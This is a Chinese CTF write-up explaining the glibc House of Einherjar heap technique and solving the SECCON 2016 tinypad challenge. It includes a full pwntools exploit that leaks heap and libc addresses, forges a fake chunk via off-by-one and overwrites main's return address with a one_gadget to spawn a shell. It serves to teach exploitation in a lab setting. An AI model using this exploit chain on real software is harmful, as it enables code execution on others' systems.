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title: House Of Einherjar

date: 2018-04-14 15:44:59

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CTF
House Of Einherjar

介绍

house of einherjar 是一种堆利用技术，由 Hiroki Matsukuma 提出。该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk 。其主要在于滥用 free 中的后向合并操作（合并低地址的chunk），从而使得尽可能避免碎片化。此外，需要注意的是，在一些特殊大小的堆块中，off by one 不仅可以修改下一个堆块的 prev_size，还可以修改下一个堆块的 PREV_INUSE 比特位。

原理

后向合并操作

free 函数中的后向合并核心操作如下：

  /* consolidate backward */
        if (!prev_inuse(p)) {
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }

利用原理

这里我们就介绍该利用的原理。首先，在之前的堆的介绍中，我们可以知道以下的知识

两个物理相邻的 chunk 会共享 prev_size字段，尤其是当低地址的 chunk 处于使用状态时，高地址的chunk的该字段便可以被低地址的 chunk 使用。因此，我们有希望可以通过写低地址 chunk 覆盖高地址 chunk 的 prev_size 字段。
一个 chunk PREV_INUSE 位标记了其物理相邻的低地址 chunk 的使用状态，而且该位是和 prev_size 物理相邻的。
后向合并时，新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize)) 。

那么如果我们可以同时控制一个chunk prev_size 与 PREV_INUSE 字段，那么我们就可以将新的 chunk 指向几乎任何位置。

利用过程

溢出前

假设溢出前的状态如下

溢出

这里我们假设 p0 堆块一方面可以写prev_size字段，另一方面，存在off by one的漏洞，可以写下一个 chunk 的PREV_INUSE 部分，那么

溢出后

假设我们将 p1的 prev_size 字段设置为我们想要的目的 chunk 位置与p1的差值。在溢出后，我们释放p1，则我们所得到的新的 chunk 的位置 chunk_at_offset(p1, -((long) prevsize)) 就是我们想要的 chunk 位置了。

当然，需要注意的是，由于这里会对新的 chunk 进行 unlink ，因此需要确保在对应 chunk 位置构造好了fake chunk 以便于绕过 unlink 的检测。

总结

这里我们总结下这个利用技术需要注意的地方

需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。
我们需要计算目的 chunk 与 p1 地址之间的差，所以需要泄漏地址。
我们需要在目的 chunk 附近构造相应的 fake chunk，从而绕过 unlink 的检测。

其实，该技术与 chunk extend/shrink 技术比较类似。

题目 2016 Seccon tinypad

基本功能分析

img-check

首先，可以看出，程序以来一个核心的读取函数，即读取指定长度字节的字符串，然而，当读取的长度恰好为指定的长度时，会出现 off by one 的漏洞。

通过分析程序，我们不难看出，这个程序的基本功能是操作一个 tinypad，主要有以下操作

开头，程序每次开头依次判断每个 memo 的指针来判断是否为空，如果不为空，进而利用 strlen 求得其相应的长度，将 memo 的内容输出。从这里，我们也可以看出最多有 4 个 memo。
添加 memo，遍历存储 memo 的变量tinypad，根据 tinypad 的存储的大小判断 memo 是否在使用，然后还有的话，分配一个 memo。从这里我们可以知道，程序只是从 tinypad 起始偏移16*16=256 处才开始使用，每个 memo 存储两个字段，一个是该 memo 的大小，另一个是该 memo 对应的指针。所以我们可以创建一个新的结构体，并修改 ida 识别的 tinypad，使之更加可读（但是其实 ida 没有办法帮忙智能识别。）。同时，由于该添加功能依赖于读取函数，所以存在 off by one 的漏洞。此外，我们可以看出，用户申请的 chunk 的大小最大为 256 字节，和 tinypad 前面的未使用的 256 字节恰好一致。
删除，根据存储 memo 的大小判断 memo 是否在被使用，同时将相应 memo 大小设置为0，但是并没有将指针设置为 NULL，有可能会导致 Use After Free。即在程序开头时，就有可能输出一些相关的内容，这其实就是我们泄漏一些基地址的基础。
编辑。在编辑时，程序首先根据之前存储的 memo 的内容将其拷贝到 tinypad 的前 256 个字节中，但正如我们之前所说的，当 memo 存储了 256 个字节时，就会存在 off by one漏洞。与此同时，程序利用 strlen 判断复制之后的 tinypad 的内容长度，并将其输出。之后程序继续利用 strlen 求得 memo 的长度，并读取指定长度内容到 tinypad 中，根据读取函数，这里必然出现了 \x00。最后程序将读取到 tinypad 前 256 字节的内容放到对应 memo 中。
退出

思路

基本利用思路如下

利用删除时没有将指针置为NULL的 UAF 漏洞，泄漏堆的基地址
再次利用 UAF 漏洞泄漏 libc 的基地址。
利用 house of einherjar 方法在 tinypad 的前 256 字节中伪造 chunk。当我们再次申请时，那么就可以控制4个 memo 的指针和内容了。
这里虽然我们的第一想法可能是直接覆盖 malloc_hook 为 one_gadget 地址，但是，由于当编辑时，程序是利用 strlen 来判读可以读取多少长度，而 malloc_hook 则在初始时为 0。所以我们直接覆盖，所以这里采用其他方法，即修改程序的 main 函数的返回地址为 one_gadget，之所以可以行得通，是因为返回地址往往是 7f 开头的，长度足够长，可以覆盖为one_gadget。所以我们还是需要泄漏 main 函数的返回地址，由于 libc 中存储了 main 函数 environ 指针的地址，所以我们可以先泄露出environ 的地址，然后在得知存储 main 函数的返回地址的地址。这里选取 environ 符号是因为 environ 符号在 libc 中会导出，而像 argc 和 argv 则不会导出，相对来说会比较麻烦一点。
最后修改 main 函数的返回地址为 one_gadget 地址获取shell。

具体利用脚本如下

利用代码分析

1. leak heap base

Fast_bins -> chunk2 ->chun1

由于存在 UAF 所以可以泄露 chunk2地址，减掉 chunk1 长度(0x80) 得到 heap_base

# 1. leak heap base
    add(0x70, 'a' * 8)  # idx 0
    add(0x70, 'b' * 8)  # idx 1
    add(0x100, 'c' * 8)  # idx 2
    delete(2)  # delete idx 1
    delete(1)  # delete idx 0, idx 0 point to idx 1
    p.recvuntil(' # CONTENT: ')
    data = p.recvuntil('\n', drop=True)  # get pointer point to idx1
    heap_base = u64(data.ljust(8, '\x00')) - 0x80
    log.success('get heap base: ' + hex(heap_base))

2. leak libc base

free(chunk3) 到 unsorted_bin，由于是第一个unsorted_bin中的chunk所以 fb和bk指向 unsorted_bin起始？

经过调试，main_arena = unsorted_bin - 88 ， libc_base = main_arena - main_arena_offset。

img-analysis-2-1

    delete(3)
    p.recvuntil(' # CONTENT: ')
    data = p.recvuntil('\n', drop=True)
    unsorted_offset_arena = 8 + 10 * 8
    main_arena = u64(data.ljust(8, '\x00')) - unsorted_offset_arena
    libc_base = main_arena - main_arena_offset
    log.success('main arena addr: ' + hex(main_arena))
    log.success('libc base addr: ' + hex(libc_base))

3. house of einherjar

常见 fake_chunk ，会将edit的数据先保存到 0x602040 的 0x100 中，然后strcpy 。

img-analysis-3-1

	add(0x18, 'a' * 0x18)  # idx 0
    # we would like trigger house of einherjar at idx 1
    add(0x100, 'b' * 0xf8 + '\x11')  # idx 1
    add(0x100, 'c' * 0xf8)  # idx 2
    add(0x100, 'd' * 0xf8)  #idx 3
    # create a fake chunk in tinypad's 0x100 buffer, offset 0x20
    tinypad_addr = 0x602040 
    fakechunk_addr = tinypad_addr + 0x20  
    fakechunk_size = 0x101
    fakechunk = p64(0) + p64(fakechunk_size) + p64(fakechunk_addr) + p64(fakechunk_addr)
    edit(3, 'd' * 0x20 + fakechunk)  
    # gdb.attach(p)    fake_chunk

4. overwrite idx 1’s prev_size

 	# overwrite idx 1's prev_size and
    # set minaddr of size to '\x00'
    # idx 0's chunk size is 0x20
    diff = heap_base + 0x20 - fakechunk_addr   
    #diff 为 fakechunk_addr 到 第二块 之间的距离
    log.info('diff between idx1 and fakechunk: ' + hex(diff))
    # '\0' padding caused by strcpy
    diff_strip = p64(diff).strip('\0')
    log.success('diff_strip : '+ str(diff_strip))
    number_of_zeros = len(p64(diff)) - len(diff_strip)
    for i in range(number_of_zeros + 1):
        # 因为之前有填充a， 需要配合edit是的off by null ， 让低地址为为0 。
        data = diff_strip.rjust(0x18 - i, 'f')
        log.info('data : '+ str(data))
        edit(1, data)
    delete(2) # 合并前面的块，一直到 0x602040 ( tinypad_addr ) 
    p.recvuntil('\nDeleted.')

5. fix the fake chunk size, fd and bk

正常情况下测 unsorted bin

img-6-1

edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_arena + 88) + p64(main_arena + 88))
    #unsorted_bins 要指向 <main_arena+88>
    #======测试代码======
    # add(0x100, 'c' * 8)  # idx 2
    # add(0x100, 'c' * 8)  # idx 2
    # delete(1)
    # gdb.attach(p)
    #===================

6. overwrite malloc_hook with one_gadget

img-analysis-6-1

    # overwrite malloc_hook with one_gadget
    one_gadget_addr = libc_base + 0x45216   # one_gadget 工具得到 exc()函数偏移
    environ_pointer = libc_base + libc.symbols['__environ']
    log.info('one gadget addr: ' + hex(one_gadget_addr))
    log.info('environ pointer addr: ' + hex(environ_pointer))
    #fake_malloc_chunk = main_arena - 60 + 9
    # set memo[0].size = 'a'*8,
    # set memo[0].content point to environ to leak environ addr
    fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(environ_pointer) + 'a' * 8 + p64(0x602148)
    # get a fake chunk
    add(0x100 - 8, fake_pad)  # idx 2

    # get environ addr
    p.recvuntil(' # CONTENT: ')
    environ_addr = p.recvuntil('\n', drop=True).ljust(8, '\x00')
    environ_addr = u64(environ_addr)
    main_ret_addr = environ_addr - 30 * 8

    # set memo[0].content point to main_ret_addr
    edit(2, p64(main_ret_addr))
    # overwrite main_ret_addr with one_gadget addr
    edit(1, p64(one_gadget_addr))
    gdb.attach(p)
    p.interactive()

完整利用代码

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
tinypad = ELF("./tinypad")
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
    libc = ELF('./libc.so.6')
else:
    p = process("./tinypad")
    libc = ELF('./libc.so.6')
    main_arena_offset = 0x3c4b20
log.info('PID: ' + str(proc.pidof(p)[0]))


def add(size, content):
    p.recvuntil('(CMD)>>> ')
    p.sendline('a')
    p.recvuntil('(SIZE)>>> ')
    p.sendline(str(size))
    p.recvuntil('(CONTENT)>>> ')
    p.sendline(content)


def edit(idx, content):
    p.recvuntil('(CMD)>>> ')
    p.sendline('e')
    p.recvuntil('(INDEX)>>> ')
    p.sendline(str(idx))
    p.recvuntil('(CONTENT)>>> ')
    p.sendline(content)
    p.recvuntil('Is it OK?\n')
    p.sendline('Y')


def delete(idx):
    p.recvuntil('(CMD)>>> ')
    p.sendline('d')
    p.recvuntil('(INDEX)>>> ')
    p.sendline(str(idx))


def run():
    p.recvuntil(
        '  ============================================================================\n\n'
    )
    # 1. leak heap base
    add(0x70, 'a' * 8)  # idx 0
    add(0x70, 'b' * 8)  # idx 1
    add(0x100, 'c' * 8)  # idx 2

    delete(2)  # delete idx 1
    delete(1)  # delete idx 0, idx 0 point to idx 1
    p.recvuntil(' # CONTENT: ')
    data = p.recvuntil('\n', drop=True)  # get pointer point to idx1
    heap_base = u64(data.ljust(8, '\x00')) - 0x80
    log.success('get heap base: ' + hex(heap_base))

    # 2. leak libc base
    # this will trigger malloc_consolidate
    # first idx0 will go to unsorted bin
    # second idx1 will merge with idx0(unlink), and point to idx0
    # third idx1 will merge into top chunk
    # but cause unlink feture, the idx0's fd and bk won't change
    # so idx0 will leak the unsorted bin addr
    delete(3)
    p.recvuntil(' # CONTENT: ')
    data = p.recvuntil('\n', drop=True)
    unsorted_offset_arena = 8 + 10 * 8
    main_arena = u64(data.ljust(8, '\x00')) - unsorted_offset_arena
    libc_base = main_arena - main_arena_offset
    log.success('main arena addr: ' + hex(main_arena))
    log.success('libc base addr: ' + hex(libc_base))

    # 3. house of einherjar
    add(0x18, 'a' * 0x18)  # idx 0
    # we would like trigger house of einherjar at idx 1
    add(0x100, 'b' * 0xf8 + '\x11')  # idx 1
    add(0x100, 'c' * 0xf8)  # idx 2
    add(0x100, 'd' * 0xf8)  #idx 3

    # create a fake chunk in tinypad's 0x100 buffer, offset 0x20
    tinypad_addr = 0x602040
    fakechunk_addr = tinypad_addr + 0x20
    fakechunk_size = 0x101
    fakechunk = p64(0) + p64(fakechunk_size) + p64(fakechunk_addr) + p64(
        fakechunk_addr)
    edit(3, 'd' * 0x20 + fakechunk)

    # overwrite idx 1's prev_size and
    # set minaddr of size to '\x00'
    # idx 0's chunk size is 0x20
    diff = heap_base + 0x20 - fakechunk_addr
    log.info('diff between idx1 and fakechunk: ' + hex(diff))
    # '\0' padding caused by strcpy
    diff_strip = p64(diff).strip('\0')
    number_of_zeros = len(p64(diff)) - len(diff_strip)
    for i in range(number_of_zeros + 1):
        data = diff_strip.rjust(0x18 - i, 'f')
        edit(1, data)
    delete(2)
    p.recvuntil('\nDeleted.')

    # fix the fake chunk size, fd and bk
    # fd and bk must be unsorted bin
    edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_arena + 88) +
         p64(main_arena + 88))

    # overwrite malloc_hook with one_gadget

    one_gadget_addr = libc_base + 0x45216
    environ_pointer = libc_base + libc.symbols['__environ']
    log.info('one gadget addr: ' + hex(one_gadget_addr))
    log.info('environ pointer addr: ' + hex(environ_pointer))
    #fake_malloc_chunk = main_arena - 60 + 9
    # set memo[0].size = 'a'*8,
    # set memo[0].content point to environ to leak environ addr
    fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(
        environ_pointer) + 'a' * 8 + p64(0x602148)
    # get a fake chunk
    add(0x100 - 8, fake_pad)  # idx 2
    #gdb.attach(p)

    # get environ addr
    p.recvuntil(' # CONTENT: ')
    environ_addr = p.recvuntil('\n', drop=True).ljust(8, '\x00')
    environ_addr = u64(environ_addr)
    main_ret_addr = environ_addr - 30 * 8

    # set memo[0].content point to main_ret_addr
    edit(2, p64(main_ret_addr))
    # overwrite main_ret_addr with one_gadget addr
    edit(1, p64(one_gadget_addr))
    p.interactive()


if __name__ == "__main__":
    run()

参考

CTF-WIKI - House Of Einherjar

PWN学习之house of系列(一)

Glibc：浅谈 malloc_consolidate() 函数具体实现